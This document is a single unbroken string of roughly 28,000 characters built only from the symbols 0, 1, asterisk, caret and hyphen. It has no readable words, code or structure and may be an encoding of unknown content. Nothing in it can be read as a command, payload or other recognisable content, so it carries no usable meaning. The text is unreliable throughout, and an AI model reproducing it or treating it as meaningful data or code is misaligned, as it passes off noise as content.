11*101******01**0-011**1******01**1^1**00^110101********01*101******01**1*1101*001******01**01*-*001*11****01**01*001*0101*0101*11011010^1*00-0011*10101*001*1011*00101*011*001*1*110101******01*11*0101******11**^101**01******11**110^1**^101*001*1*011*001*1*011*001^1*0101****1***--1^-*******************01011*********0-1011********-0101*********01^1********^1*1********^1*1**********11*****01***00101*******************0101*0101*10^11*1*1*^11*1^1*^1*0-11******01***01*1^-00110101******-01101*101*********-^1*001*********00-11*00^101*001*1*-----110---**00-**1*1^1*1*^^1*10-11*-01*1*1*101*001^1*110101******--*00101******1**01011011**1******1**01^-**1*11*******00101011*10^^-*011*001*10-011**001*0-***********11*00^110101******1*101*0101******1**0-01011*001******1**0110-01*001*01*001*1*001*001^1*0101^11011*01*1*0011*01*1******001**00-**-001011*01^1*01101*-----110--0010101*0-**1*1^1**110101*^1*10^-11*00101*1*1*1*^1********-01101*001*0101*1*1*0011*01^1*110101******001011*00101******11**1011011**1******11**-0101**^^1*01011*00101^-01*01*1*0101*01*1******001**0011011*0-001101*01^1*01101*-----110--^1*1*-**1*1^1*^1101**********101*00^1*^1*10^-11*1^1*1*1*0101*01^1*110101******0011*1*101******01**010-**01******01**1011***1*11****011**1*-*0101*-**^1*0110101*1011**1*0-**********************01*01*001*0-----110--1*0011*-**1*1^1*1^1*-11*-----110--010^11*-**1*1^1*^110101*^-001*-11*1^1*1*1*1*^1********010-01*00^1^1*1*1*1010--0101**1*-11*-----110--11*-*-**1*1^1*^1101******^^101*001*001*010^--110-11*01101*1*1*0^1*00110^1**00--^-*0-*01*1*-----110--00--*-**1*1^1*^1101********01^1101*00^1*^1*10^-11*1^1*1*1*0-*01^1*-01*-10-11010^1*^1*****01**00-011**^-01*1*1*-----10---011**-**1*1^1*^1101*****00^10--11**001*010^101011*01101*1*1*1*1*00110^1**00--101101*0-*01*1*-----10---0011*00-**1*1^1*1*^1**10-11*10101*1*1*0-*01^1*^11*1101*0011****01**0010^11*101******1***00-**1******1**0^11**001*0-*-11*1010--010^1011*0-11*-----10--1*1101*0-**1*1^1*10-**1**110^1**00--1*11*0-*01*1*-----10---^11*0-**1*1^1*11011*-11*0-*01^1*01011*-----10---00-*0-**1*1^1*^1101********0-10-*00^1*^101101*-11*1^1*1*1*0011*00101****1**01*1*1^-0110101******--*00101******11**001*11*001******11**01011011*001*11*******011**0010^11011*-*0010110101011*--1**001*1010^-11*-*001010--010^11011*-11*-----10--^110101*-**1*1^1*00101*-11*^1**110^1**00--1^11*0-*01*1*-----10--^-101*-**1*1^1*01011*0-*01^1*00-*010101*11**110--0101*1011*-----10--^1^11*-**1*1^1*-1*0-11*^1**110^1**00---011*0-*01*1*-----10--^-011*-**1*1^1*^1101*-110-11*1*^-0-10-11*00101*1*1*0-*01^1*11011*1010--0101*1101*-11*-----10--10^-1*-**1*1^1*0011*0-11*^1*010110^110101******010-*00101******1****001*001******1***01^1*001*001*001^-11010^^1101*10^1*****01**0101011**0^1*1*1*1*0010^1*****01**0101011**0^1*1*1*1*--------*001*00-**1*1^1*^1101*******0^1****^1^^1*****01**00101011**1*^1*1*1*10101*00110^1**00--101011*0-*01*1*--------00-1*00-**1*1^1*^1101010110110-11*1*^101011*-11*1^1*1*1*0-*01^1**11*0101*00101****01**0^1*1^-01010--010^^11*-11*--------*1101*0-**1*1^1*^1101******10^1101010-*00^1^^1*00110-11*0^1*1*1*0^1*00110^1**00---101*0-*01*1*--------1*-*0-**1*1^1*^1101*****00-00110--**01*010^1*****01***1101**0^1*1*1*1*0-*01^1*01101******01**001*1******1**00110101********0101^1********0101011*********0-11*****001***0^11*****001************001*0-*********11******001**101011******01***1******001**0--01**********11*****01***0-1*****001**00110101********01101^1****************01**0-*******1**01*001********01*011*****01**0101011******01**10-1********00101011********00101^11*****01**001101******01**01011*1*****01**001010101********10110101********00-*101*1*001*1*1**01*1^1*1101*0-11*-01*1^1*001****01**001**0--001101*1^1*001*******-1*10--010101*1^1*001*******0-11010--*101*1^1*001****01*****0--01^1*1^1*001****01**0-010^--00^1*1^1*001****01**0^110^--01*1*1^1*001*******010101010--001101*01^1*1**11010^1*1******00-^1*****0101**11011***0-***1^11011****10101*01*******1010^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1010^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01***101**101*11*******011**00101*1101*-*0010110101011*1101011**00^-0-0-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1********--------11011**-001011*0-01*01010^11011******0-1*01010-0-*00--------^101*00-001011*0^1101********011*-*00^1*^1*****01**01^11**0^-*001*1*--------0010-1*-0010-*--------11*01*0-001011*01101*0-11**********1*0^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------1101101*0-001011**-*1101*00101******00-0--11011011011******011**0011*101**--------0-011*0-001011**-*1101**101*---------00-*-00^1101******-110^-1**0^1^^1*****01**00101101**1*11*001*1*--------0101*1*-001011*0^1101010^^-11*1*^10-0010-11*101*001*1*********0-*********01**0101*101*01^11*00^110101*-0-11*1*011*1*0011**--------^10101*-001011*0^1101*****001*1*011***01*010^-1*10-11*001*001*1*0101*001101*--------00-101*-001011*00101*0-11*01^1*11****01**01*1**01011********1011*1********0-**********-01********01^101********01*0101********-1011********0-1011********01^101********************10101********1*01*********0-01*********11*0101*10^1**********1*1*0-00-*001^1*001****01**001**0--0011*001^1*001****01**0^110^--0101*001^1*001****01**0-010^--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1******010-001*****01**01011****11***01^1^1*********--------*1101*0-*10101*1^1*11****01***001**01011********-**********11*******************************-*********00101*00101*10-*001*1*-*001^1*-01*01010^---------*1*0-*011*0^110101^^1********1^-1*00^101*001*1*1^^1********1^-1*00^101*001*1*--------0010-1*-0011011*--------00^11*0-*011*010-*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011**101****1**001*0--011011011******00-**11*-**11011******011**0011*101**--------0011*1*-*011*0^1101*****0010^^1010^1*00^1^^1*****01**010101**00^101*001*1*--------10110-*-001*^1*****01**0-***01*01*001*1*--------10110101*-*011*0^11*********-*********001**0101*101*01^11*00^1101010-*1*011*1*00101*00--------001*11*-*011*011011010^11*1*^11*-0-11*^1*00101*001101*********-0101*******************0010-********0011*1********01101*1********-0101********00^11*******************0-0101********00-*********00101*0101*1*01**11**011*101*001^1*001****01**0^110^--*1*001^1*001*******0-11010--01011**1****01**0-010^--001101*01^1*********1***-001*1*******-001*****01**01*****001***1^1^1*--------10101**-00101*001^1*10-*01010^-*00--------^10-*-0011011010^1*0-11*1*^1********1**1*00^-*001*1*---------101*00-00101*001^1*^11010^-10-11*1*^1********01101101*001*11*001*1*********0^1*--00^11010^1*0110110^1011**1**********01^1*00^1011*********0101*01*001*011*******1***0011**1*101**011010-01*011*00--------*0011*0-00101*001^1*^1101********001^101*00^1*^1*****01**010101011*001*001*01*1*1101*00101*******0110101*10^11**01**--------10-11*0-00101*001^1*^110101*^110-110-11*-*001*1*1*^11*1*-11*-*001*1*1101**1*00---------10-*-001*^1*01010-11*011*001*1*--------1101^1*-00101*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^110101*-0-11*1*0110101**01*00--------10101101*-00101*001^1*10-*0101*001101*----------01*-00101*001^1*0-1*01^1*11****01**0-1**001011********00-1**********101********00-**********011**********0101********00-*********00-11********001011011*******************0-0101*********01101********1101*0101*10101*001*1*********1*001*0-*001*01^1*001*******0-11010--0-*001^1*001****01*****0--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******01101^1*****01***11****001***1^1^1*--------10^11*0-*10101*1^1*11****01**00-**001011********-*********00-*********00-********************0011*********00101*00101*^11*001*1*011*001^1*-01*01010^--------^1101*0-*011*010-*--------1^-1*-00^1*0-11*---------0011*0-*011*0^110101*^1********01010-*001*01*001*1*1*^1*****01**010-1**01*01*001*1*********-01*^-0010-01*011**11010101**-*00101101010^^101**-*00101**011010-01*011**101******00-1^1*10^101**01*0011**01**--------^1^1*-*011*0^11*--------0010-1*-*-1*--------01^101*-*011*0^1101********0^1*1*00^1*^10^1^-11*^1**********001*********1**0101*101*01^11*00^1101010^^-11*1*011*1**-*0101**-*0--------^^11*-*011*010-*0101*001101*********^-1********0^-********00^1********************0^-********0^-*********1*01********0011*1********00^11*********^-********00101*0101*1*01**11**-*001*001^1*001****01**001**0--01011**1****01*****0--001101*01^1*********1***-001*1******01*011*********010-**00101***1^1^1*1*******0010101**1*01**01*101101101^1**01101^1************1*1*****010101*11************010-0110101**101*01^1*********001*010-0110101*0110101******1011**0101******01**11011011*001******01**11*101*001*11****01**01010101*0101********00-1^1*001*********01*01*001*1101*11**01**011*******10101**101******11**00-11**1******11**-^1**^-----10--1*1^1*-001011*01*^1********-00101*00^^1*01*1*********0-**0-00--------0010-1*-0011011*-----10--11*1101*-001011*00-1*********-*00^-001**00--101011*-*00-----10--11*0011*-001011*0^1101*******00101101***^1^^110^110-11**1*01*1*1101*0-01*--------0010-1*-0010-*-----10--101011011*-001011*0^110^-1*-11*1*^101*110-11*^1*01*1*********0-*0^-001**00--101101*-*00-----10--11*-1*-001011*0^1101******01*001011011**^1^^110110110-11**1*01*1*1101**011*--------01010-*-00^1101*****00^11*01010-*001*010^10-*0-11*011*001*1*--------00101**-001011*01*^110^^-11*-*001*1*********1101*0^-*1**--------01010-*-00^1101*****0010101^1^-1*001*010^10-1*-11*011*001*1*--------101011*00-001011*01011*0-11**********1*0^-001**00---101*-*00--------011*1*0-001011**11*0-11*1101*0^11*--------*0101*0-001011*0^1101******1^1*00-1**1*010^1*****01**010110-*00^101*001*1*********001^11010-00^101^-*101**--------1^-1*-*011*0-11*--------1^-*0-001011**001*-11**********1*0^-001**00--1*11*-*00--------001*01*-001011*0^11*1101*001011*010101*0101*--------0010-1*-00^11*--------1010^1*-001011*01*^-1*10-11*001*001*1*********1101*0^-001**00--1^11*-*00--------^10101*-001011*011011*1101*001101*********0-0101********011*1********0^1*********00-1011********1011*1********0011011********001*11********01*0011********11*1******1**0-*********001*-1********0-0101*****01***11*********0^1*********00-01********0010^1*******************001*11********00^1*101*10^1*01011*0-01*^1*01^1*001****01*****0--*01*01^1*001****01**0^110^--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--0101*001^1*001*******010101010--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1******00101^1*****01**011011011**00-***1^11011****10101*001*0-----^---1101*0-00-*001^1*1^1*-11*-----^--*1011*0-00-*001^1**11*-11*--------01^-*-00^1101******1*0-*^1*001*010^1********110-11*00^1101*01*1*-----^--001*01*-00-*001^1*1*^1*****01**01*-**1*001*01*1*********-1*0^-001**00--10101*0-11*101*001*1*-----^--0-^1*-00-*001^1*11011*101*001^1*-01*--------1^-1*-0011011*-----^---10101*-00-*001^1*0-1**********1*0^-001**00--101101*101*001*1*-----^--1*0011*-00-*001^1*^1*0-11*101*001^1*0101*0-11*010101*0101*--------1^-1*-*0011*-----^--01101011*-00-*001^1*10101*-11*********^1*0--00^101^-*1^1**1*001*1*-----^--^10-*-00-*001^1*^1101********0110^11*00^1*^110101010-11*1011*01*1*001*001^1**11010-01*001*001*1*-----110--1***0-00-*001^1*1*^1********^-01*001*011*01*1*--------00110-*-00^1101011010^-11*1*^11*0^-11*0101*01*1*-----110--10-**-00-*001^1*11011*-11*********^1*0^-001**00--1^1*0-11*101*001*1*-----110--1*11*00-00-*001^1*^1101********01010-1*00^1*^^-^-11*0101*01*1*101*001^1*0-1*--------^10-*-00^1101******--1101^11*001*010^^^^-11*0-*01*1*-----110--0110101*0-00-*001^1*^110^1011*-11*1*^-01*0-11*0011*01*1*********-1*0^-00110101******11011**101******11**01^-*001******11**1*-1*00^11**-*00---------10-*-001*^11*-0-11*1011*01*1*-----110--101*01*-00-*001^1*^1101*^110-11*1*^1********1*0101*001*101*01*1*********0^1*^-001**00--110-*101*001*1*-----110--1*0101*-00-*001^1*^1101*********11*1*00^1*^1*****01**0--1**1*001*01*1*101*001^1*^1*0-11*0011*0-*00--------1^-1*-00-01*-----110--01*011*-00-*001^1*1011*0-11*********^1*0^-001**00--10-1*101*001*1*-----110--10101011*-00-*001^1*0101*0-11*101*001^1*01011*1011*0011*00--------10110-*-0011011010^11*1*^1^10^-11*0011*01*1*-----110---10-*-00-*001^1*0-1*-11*********^1*0^-001**00--1^11*101*001*1*-----10--101***-00-*001^1*1*^1011*10-11*0011*01*1*101*001^1*00-*-----10--11*1**-00-*001^1*^1101**********001*00^1*^110101^-11*0101*01*1*---------10-*-001*^1011*10-11*0011*01*1*-----10--1101101*00-00-*001^1*^1101*****001^110-*11**1*010^1101^10-11*1101*01*1*********0^1*^-001**00---011*101*001*1*-----10--1^^1*0-00-*001^1*-11*-11*101*001^1*11011*001*001^1*01101*--------0^-1*-00-11*-11*-----10----01*0-00-*001^1*^1101*****00-10-1101101**^1^^1*********00101*00^^1*01*1*********10101*^-001**00--101011*101*001*1*-----10--10--*0-00-*001^1**00^-11*101*001^1*^11*--------01010-*-00^110101*^110-*1011*01*1*1*^^110^-11*1011*01*1*-----10--1^1^1*-00-*001^1*1*^1*****01***1011**01*001*01*1*********-1*00-11*1101*^101^-*1011*00--------10110-*-00110110^1011*1*^^11*0-11*0011*01*1*-----10--110-101*-00-*001^1*^1101******101*-011011*001*010^1********10^101*00^1101*01*1*********10101*^-001**00--1*11*101*001*1*-----10--^-011*-00-*001^1*01011*101*001^1*10-*1101*00101^^1*001*1*^1*0--------01^-*-00^1101******1101*1****1*010^1*****01**0-*1**^1101*01*1*-----10-----*-00-*001^1*1*^1********-01101*001*101*01*1*********-1*0^-001**00--^-*101*001*1*--------*11**-00-*001^1*^1101******-1*01011011*00^1^^1*****01**00--**^^1*01*1*101*001^1**11*0101*0110101*******0-*010^11*010-11*110^10-11*01**--------0^-1*-*0101*-11*--------01*01*0-00-*001^1*1*0^-11*********^1*0^-001**00---101*101*001*1*--------1010101*0-00-*001^1*^1101*********010101*00^1*^1*****01**00101*1*001*001*01*1*101*001^1*01101******01***-01********00^11********00-10-*****01***^1******1**00101*1********00-101*****01**01101011******1**10-01*****0011**101*********0011*-*****011**0-******001**0010^1******1**-1^1*****001**10-001********1010101*********011******01**00^-1*****01***011*****************01**0011011******1**00--*****01**01*1101*****01**010101******01***011******01***01^1*****001**00110101*****001**001*11*****001**-001******01**00--*****001**-^11********1*^1*****001**001*01********1**1*****01***1^11*****001**00-1********0011*^101*10-*001*1*-*001^1**01*-11*0-*01^1*001*******-1*10--01011*01^1*001****01**0-010^--*11*01^1*001*******0-11010--01101*01^1*001*******010101010--00101*01^1*001****01*****0--0^1*01^1*001****01**0^110^--*01*01^1*001****01**001**0--001101*01^1*********1***-001*1******0^1^1*****011**-11011**00101***1^1^1****10101*01*001*1*------0-11***00-00^1*01^1*0-*0-11*------0--001**0-00^1*01^1**11*--------^10-*-00^1101******110--00-**1*010^-01*0-11*0011*01*1*------0--*01*00-00^1*01^1*0101*0-11*********^1*0^-001**00--^11*0-11*-*001*1*------0--01011*00-00^1*01^1*^1101*******0110-01101*001*010^-1^10-11**01*1*1*-*001^1*-01*--------01^-*-00^1101*******1101*1***1*010^1*****01***0-**01**1*1*1*------0--0-01*0-00^1*01^1*^1*0-11*********^1*0^-001**00--101101*-*001*1*------0-11*0-*0-00^1*01^1*1*^1********00110101*001*-*01*1*-*001^1*^1*0-11*1011*00101^1011*001*1*101*001*1*--------0^-1*-*0-*-11*------0-11*0^1*-00^1*01^1*^1101*****00^11*110-01*001*010^10-1*-11**01*1*1*********0^1*^-001**00--10-1*-*001*1*------0-1^110101*-00^1*01^1*-00^-11*-*001^1*^11*1101*0011****01***11**0101*1**011*00--------0^-1*-00-00^-11*------0--11*11*-00^1*01^1*^1101*****0011010-001*01*001*010^10-1010-11*0011*01*1*********0^1*^-001**00--1*11*-*001*1*------0--1*-*-00^1*01^1*0^1*-11*-*001^1*0101*0-11*---------10-*-001^^^-010-11*-1*01*1*------0-11010-11*-00^1*01^1*0-1*-11*********^1*0^-00110101******0010^1*101******1***01101**1******1***1101**01*11****01**01*001*0101*0101*11011010^1*00-00--*1*00^10-*00101*^1*0--------0^-1*-*^1*-11*-----^--001101*00-00^1*01^1*^1101*****00^-1011*-*001*010^1********0^1101*001**1*1*1*********10101*^-*-^--0^10-00-11*^1101*10^1010-10-11*001*******-1*10--*10^10110-0-11*001*******-1*10--00110-0-11*001*******-1*10--01**00--1^1*0-11*-*001*1*-----^--*1011*0-00^1*01^1*^11010-10110-11*1*^1********11*001*001*101*01*1*-*001^1*0-1*-----^--10-11*0-00^1*01^1*^110101^^10-0010-11*-1*01*1*1^^10-0010-11*-1*01*1*--------0^-1*-001*1*-11*-----^--0110^1*-00^1*01^1**00^-11*********^1*0^-001**00--110-*-*001*1*-----^--^10101*-00^1*01^1**10^-11*-*001^1*11011*0011*0110101******11*11*010^1011*0-11*0-*0-11*-*00--------0^-1*-*0010^-11*-----^---*11*-00^1*01^1*^1101******10^110101***1*010^1********-10101*001*011*01*1*********10101*^-001**00--101011*-*001*1*-----^--01^-*-00^1*01^1*^11010-01010-11*1*^10-1*-11*0-*01*1*-*001^1*00-*101*001^1**1*0--------10110-*-001101101*011*1*^-00-0-11*1011*01*1*-----110---**00-00^1*01^1*-11*-11*********^1*0^-001**00---011*-*001*1*-----110--01011**-00^1*01^1*1*^1*****01***1011**0^1011*01*1*-*001^1*01011*--------1^-1*-0010-*-----110--0^11*00-00^1*01^1*^1101******00101^11011**0^1^^1*11*-1*01*1*********1*1*^-00-11010110101******-01101*101******01**010^11*001******01**00110101*00^-*001**00--101101*1**00--^101*-*00--------^10-*-00^110101^1^-11*1*^1*****01**001011**00^1011*01*1*-----110--*0-*0-00^1*01^1*^1101******101*11011***1*010^110-010-11*0011*01*1*********0^1*^-001**00--1^11*-*001*1*-----110--0011*1*-00^1*01^1*^11*-*001^1*1101*0-11*-----110--*1^1*-00^1*01^1*1*0^-11*001*001^1*110101******1101011*0101******1**0010-**01******1***1101**01*11****011**0011*1*101*^11*1*110101^110-*1*001*******************0-*001*01*0011*011****01**01*001*0101*0101*11011010^1*00-00-011*1*00^11011*00101*^1*0--------^10-*-00^1101**********-*00^1*^^110110-11*1101*01*1*-----110--00^-*-00^1*01^1*^110101*^1********-00101*001*-*01*1*1*^11*0^-11*0-*01*1*********10101*^-001**00--10101*0-11*-*001*1*-----10--^1**00-00^1*01^1*01101*-11*-*001^1*0011*0-11*010101*11****011**0011*1*101*^11*1*110101^-011*1*001*******************0101*001*0^-01*--------01^-*-00^1101********001011011*00^1*^1********011*01*001*-*01*1*-----10--1^-*00-00^1*01^1*^110101*^1********^1^1*001*101*01*1*1*^110-110-11*0101*01*1*********10101*--00^101^-*1101*001*1*011*001*1*-----10--1^1101*0-00^1*01^1*01101*011*001^1**11010-01*011*001*1*-----10---^11*0-00^1*01^1**11*--------0^-1*-*1101*-11*-----10--10110-*0-00^1*01^1*10101*-11*********^1*0^-001**00---01*0-11*-*001*1*-----10--10101*1*-00^1*01^1*1*^10-1^-11*0101*01*1*-*001^1**11*-----10--1^1^1*-00^1*01^1*^110101*^101^110-11*1011*01*1*1*^1*****01**01010101**^1011*01*1*0101*0110101******0-*1*101******01**101^11*001******01**11*011*001*11*******00101011*10^^-*011*001*10^11011**^10-**********01101*00^110101******-1*1*101******01**-101**01******01**1011011**1*11*******011**0010^11011*-*0010110101011*-10^11*001*********00-11*00^--------0^-1*-0011011*-11*-----10--^10-1*-00^1*01^1*^1101******-^11011*1*001*010^10^-0-11*0011*01*1*********0^1*^-001**00---101*-*001*1*--------*01**-00^1*01^1*-01*-*001^1*10-*011*001^1*01101*--------1^-1*-00-01*--------00^1*00-00^1*01^1*1*^1********^-01*00^1101*01*1*********-1*0^-001**00--^-*-*001*1*--------10-1*00-00^1*01^1*^110101*^1********101*01*001*101*01*1*1*^101011010-11*0101*01*1*-*001^1*01101******001**00110101*****011**^10101*****011**1010^1*****01**01**1*****011**001^11*******************-0-*****01**010-101*****001**011*11*****001**0101101*****0011**10^11******01**01^1*****0011**10^-********110^11*****001**^101******01**110-********00-011******1**01010-1*****01**01*101********001^-******1***01******01**-1011*****0011**0^-******1**10110-*****001**110-******1**01**1*********11******01***1*1*********-101*********1011******01**01*1******01*001101******0011**0^1011*****01**0-101******11***011******01**1010^1*****001***11011*****01**0^^11******1*001010101********0101*1*********--********^10^101*10^1*01*1*^1*01^1*11*^-11**01*1^1*001*******010101010--0-1*01^1*001****01**0^110^--00-*01^1*001****01*****0--01011*01^1*001****01**001**0--*11*01^1*001*******-1*10--01101*01^1*001*******0-11010--00101*01^1*001****01**0-010^--001101*01^1*********1***-001*1*******01^1*****0101*00--***0-***1^1^1*1*******0010101*********1011******0011**0101^1*****001**0--1********00-001**********001*******0010101*********011*******11**01*01*****001**011*101*****01**0-1^1**********001*******0010101*********^1******001**010101*********^-1*********-001****************001^101*001******10101*101*01*1*-----^--***00-00--------1*101*0-*-1*1^1*^11*--------1^-1*-*0011*---------1101*0-*-1*1^1*1*^1*****01**0-0^1*00^1^1*1*1*********-1*0^-001**00--1^11*1011*01*1*--------*-1*0-*-1*1^1*0-1*1011*01^1*-01*--------^10-*-00^1101*******-10-11**01*010^110^110-11*-11*1*1*--------1^^1*-*-1*1^1*^1101******0010-110-01*001*010^1*****01***-001*00^-11*1*1*********10101*^-001**00--101101*1011*01*1*--------0^1101*-*-1*1^1*^1101*********1*11*00^1*^11*1*-11*01101*1*1*1011*01^1*^11*010101*11********************0-01*******************001*101********0-01**********0-********001**********011*1********010-11*********0-1*********00-*******************0011*0101*^-1*1*1*0-1*1^1*1101*0-11**********-0110-0110101*01^1*0101****01**0^1*1^-001^1********001011*010-0--------1101101101*-0011011*1^1*0101101*011*1*^11*0110-11*00-*1*1*-----10--10^1*--00^101^-*-01*01*1*0011*01*1*---------^11*-0011011*1^1*^11*0011*01^1**11010-01*0011*01*1*********-001******************************0-********************0-********************-*00101*1011011*1*1*11011*1^1*01011***********0010-01101^1*********11*0010-0110101****01**00101*-10110^1*01*1*011****001**1^1^-101^11****01***01**0101*1**^1*01*1*011****001**-01^-1011*01*01*1*^1*01*1*011****001**10101^-10110101*001*1*^1*01*1*011****001**^-00-101^11****01**01101**010^^1*0^1*01*1*^1*01^1*011****001***01^1^-0011*00-----10--1*00101*-*0011*1^1*1*^--*-11*1^1*1*1**1*01^1*011****01**01011**010^-*001*1*011*001*1*110101******010^11*10^^11010-01*^101^-*-1*001*1*-**^1*-----10--^1*11*-*0011*1^1*01011*-*001^1*11011******0-1**10-0110101******0--*010^^-00-11**10^-11*011****011**1*-*0101*-**^1*011010--1**0^^11********************101*01*01*01*001*1*-----10--10^-1*-*0011*1^1*^110101*^1********01010101*001**1*1*1*1*^1********0-0011*001**1*1*1*011*001^1*11011******0-1**10-0110101******0--*0101******1***01*1*001******1**0^1^1*001*11****011**0011*1*101*^11*1*110110^-1^11**1*******************00-*01*0^^11*001*001*1*--------011011*00-*0011*1^1*^11*101*001^1*110101******1011**0101******11**0-1011*001******11**01^101*00^11011******0-1**10-0110101******0--*0101******1***00-**1******1**01*011**1*11****011**0011*1*101*^11*1*110110^-011011**1********************11*01*01*1011*001*001*1*011*******10101**101******1**010--*001******1**00-0011*00^--------*1*1*-*0011*1^1*^1101*****00-10-001101**01*010^^1*10-11*^11*1*1*001*001^1*110101******01^1*00101******11**01101011*001******11**11*001*00^-01*110101******0-*1*101******1**011*101*001******1**010110101*00^^1*0011*******011**0010^-01*-*0010110101011*--0-*001*********11*01*001*101****1**001101*0--*****001**001011*******************00-11011**************************001**01011*********01101^1********^^1********0-11011*****01**01*11*********101*0101*1*011*1*1**11*1^1*0-1*1011*00101^^11*01*1*1101*01*1******01**011*-*-*011*01^1*01101*1101*01^1**1**11*0110101******0010-*0101******1**0^^11*001******1**0-^11*00^-*00--------00^101*-0010101*1^1*^1101*110^-11*1*^101011*-11*01101*1*1*1101*0110101******01^1*00101******11**011011**01******11**11*11**^-01*011****011**1*-*0101*-**^1*011010101011**00^11011**********************01*01*101****1**001101*0--********01010101********0^-*******************************0101********0010101*********10^1********0-*00101*1010101*1*1*10101*1^1*^11******011**1*001010-0110101*01^1*011**1^1********00^1*010-011*****011**-^1010-0110101*01^1*011*00--------1^-1*-0011011*--------10-001*-*^1*1^1*^110101*0^-11*1*^1*****01**0101*01*00^1^1*1*1*********0^1*010-00110101******01^1*00101******11**0^1101*001******11**-00-*00^-01*011****011**1*-*0101*-**^1*01101010-1**00^-01*******************00^1*01*01*101****1**001101*0--*******************0-001*******************011*1********00-001*****************************00-*00101*^^1*1*1*0^1*1^1*01101******011**10-010^-001**00--1*11*1011*01*1*--------01*101*-00-1*01^1*01011*1011*01^1**11*0101*00101****01**0^1*1^-0--------^10-*-00^1101*-110-11*1*^1********11*001*001**1*1*1*--------11*011*-00-1*01^1*11011**********1*0^-001**00---101*1011*01*1******011**110-11*-001011*01^1*01101*********110-*********10101********00110-*********10101*********001**********01********************-*00101*10-1*01*1*-1*01^1*01101**01*1^1*001****01**0-010^--01^1*1^1*001*******0-11010--001101*1^1*001****01*****0--0^11*1^1*001*******-1*10--*-*1^1*001****01**001**0--0-11*1^1*001*******010101010--001101*01^1*********1***-001*1******0-0^1******1**1*11***011***1^11011****10101*01*******0010^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0010^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01**0^1**0101*11*******011**00101*-1*-*0010110101011*1^-**001********00^1*1*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1********010101*101****01**00110^-10110-*00-----1^-11011**00-001101*01^1*^1101*********01*1*00^1*^101*010-11*1011*01*1*-----1^-11*11**-001101*01^1*1*^-001*-11*1011*01*1*--------1^-1*-0010-*-----1^-11010101*00-001101*01^1*1*^1********011*01*001**1*1*1*********-1*0^-001**00--110101*-11*^1*01*1*-----1^-1^1*1*0-001101*01^1**110^101*0-11*1*^1*****01***011011*001**1*1*1*^1*01^1*-01*--------^10-*-00^1101*********-101*00^1*^110101010-11*1011*01*1*-----1^--001011*0-001101*01^1*01011**********1*0^-001**00--101101*^1*01*1*-----1^--10-1*0-001101*01^1*10^^-11*^1*01^1*10-*101*001^1*011*00--------0^-1*-0010^^-11*-----1^--*^1*-001101*01^1*^1101*******001*-101*001*010^10^1010-11*0-*01*1*********0^1*^-001**00--^-*^1*01*1*-----1^--0110101*-001101*01^1*01101*-11*^1*01^1*1101*0-11*--------0^-1*-**0^-11*-----1^--*0011*-001101*01^1*^10^-11*********^1*0^-00110101******-01101*101******1**0-00101*001******1****011*001*001*0--------00110-*-001*^1********1010^1*00^1*1*1*1*-----1^-1^110-*-001101*01^1*1*^-1*10-11*1011*01*1*********0011*0^-001**00--10101*0-11*^1*01*1*-----1010--1***-001101*01^1*-01*-11*^1*01^1*1^1*-11*--------00110-*-00^1101011*^-11*1*^10-0010-11*1011*01*1*-----1010--0-**-001101*01^1*11011**********1*0--00^101^-*-1*001*1**1*01*1*--------0^-1*-00-01*-11*-----1010--11011*00-001101*01^1*^1101*****001*0---1**1*010^1*****01***1*01*001*^1*1*1*********10101*^-001**00--10^1*-11*^1*01*1*-----1010--110101*0-001101*01^1*^110101*^10--0-11*-1*01*1*1*^1*****01**00101*1*00^-1*01*1*^1*01^1*0101*0-11*0011*00101^1011*001*1*101*001*1*--------01^-*-00^1101*****00101010-^-**1*010^1********10110101*001*-*01*1*-----1010--001*1*-001101*01^1*1011*0-11*********^1*0^-001**00--1^1*0-11*^1*01*1*-----1010--0-001*-001101*01^1*-00^-11*^1*01^1*1011*0-11**1*01^1*01101*--------^10-*-00^1101*******1*-^11*001*010^101*110-11*0-*01*1*-----1010--0-101*-001101*01^1*^11*-11*********^1*0^-001**00--^11*0-11*^1*01*1*-----1010--*1011*-001101*01^1*01011*-11*^1*01^1*01011*-----1010--0-011*-001101*01^1**11*-11*01*10-0101******0-*1*101******01**^-1**1******01**-0-**1*11****001***1^1*101*-1*01*11011**1101^1010-11*001*0101*110101******-1*1*101*********10-01*001*********00-11*001*11****011**1*-*0101*-**^^11010101^^1**1*0-*******************001**01*0^-01*001*001*1*--------0^-1*-*1011*-11*------0---01*00-001101*01^1*-01**********1*0^-001**00--1^11*^1*01*1*------0--*001*0-001101*01^1*1^1*-11*^1*01^1**01*-11*--------01010-*-001101101*011*1*^1********1010^1*00^1*1*1*1*------0--0-01*0-001101*01^1*^-00-11*********^1*0^-00110101******-01101*101******01**1011*1*001******01**11010-*00^110101******0-*1*101******01**-00101*001******01**^10101*001*11*******011**0010^^11*-*0010110101011*1^101011*001*********101^1*00^^1*0--------0^-1*-001^1*-11*------0--*0101*-001101*01^1**-00-11*********^1*0^-001**00---11*0-11*^1*01*1*------0--0101101*-001101*01^1*11*^-11*^1*01^1*00-*1101*00101****01**11010^1^-0--------0^-1*-0011*^-11*------0-110-0011*-001101*01^1*^1101010^^-11*1*^1*****01**00101***^-1*01*1*********0^1*^-001**00---011*^1*01*1*------0-1101010-*-001101*01^1*1*^1********-00101*00^1*1*1*1*^1*01^1*-1*0-11*1011*00101^1*1*01*1*-*001*1*--------01^-*-00^1101******1^1011*001**^1^^1*****01***010101*001*011*01*1*-----^--01101**-001101*01^1*^1101*****001101^^1011**01*010^1********^1^1*001*-*01*1*********10101*^-001**00--10-*0-11*^1*01*1*-----^--011011*00-001101*01^1*0011*0-11*^1*01^1*0-1*011*001^1*01101*--------0^-1*-*011*0-11*-----^--001^1*0-001101*01^1*^1101******^^10110101**1*010^--110-11*0-*01*1*********0^1*^-001**00--110-*^1*01*1*-----^--*1011*0-001101*01^1*1*^1*****01**00^^1*001**1*1*1*